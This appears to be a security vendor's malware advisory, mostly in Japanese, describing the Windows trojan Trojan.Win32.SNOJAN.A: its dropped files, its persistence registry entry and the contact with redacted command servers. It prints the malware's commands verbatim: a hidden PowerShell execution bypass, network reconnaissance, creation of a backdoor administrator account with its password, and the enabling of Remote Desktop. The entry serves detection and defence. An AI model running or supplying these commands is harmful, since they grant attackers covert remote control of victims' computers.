Trojan.Win32.SNOJAN.A

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %Public%\debug.ps1 → connects to a URL and deleted afterwards
• %Public%\config → contains current TCP/IP network configuration and ARP cache table
• %Public%\lss.exe → connects to a URL
• %Public%\addebug.exe → installs and executes a legitimate AnyDesk application

(註：%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)

マルウェアは、以下のプロセスを追加します。

• powershell -windowstyle hidden -ExecutionPolicy Bypass iex %Public%\debug.ps1
• cmd.exe /c "(ipconfig /all & arp -a) >> %Public%\config
• %Public%\lss.exe → if executed in a 64 bit environment
• cmd /c net user RedHat1 HatRed1@ /ADD
• cmd /c net localgroup administrators RedHat1 /ADD
• net localgroup "Remote Desktop Users" RedHat1 /add
• reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSconnections /t REG_DWORD /d 0 /f
• netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
• %Public%\addebug.exe → if executed in a 64 bit environment

(註：%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
socks = Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File "%Public%\debug.ps1"

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Terminal Server
fDenyTSconnections = 0

その他

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

• {BLOCKED}.107:443
• {BLOCKED}.245:443 - if executed in a 64-bit environment

マルウェアは、以下を実行します。

• It adds the following local group:
  • Remote Desktop Users
• It adds the following user accounts as administrator:
  • User name: RedHat1
  • Password: HatRed1@
• It enables remote desktop in Windows firewall.

ただし、情報公開日現在、このWebサイトにはアクセスできません。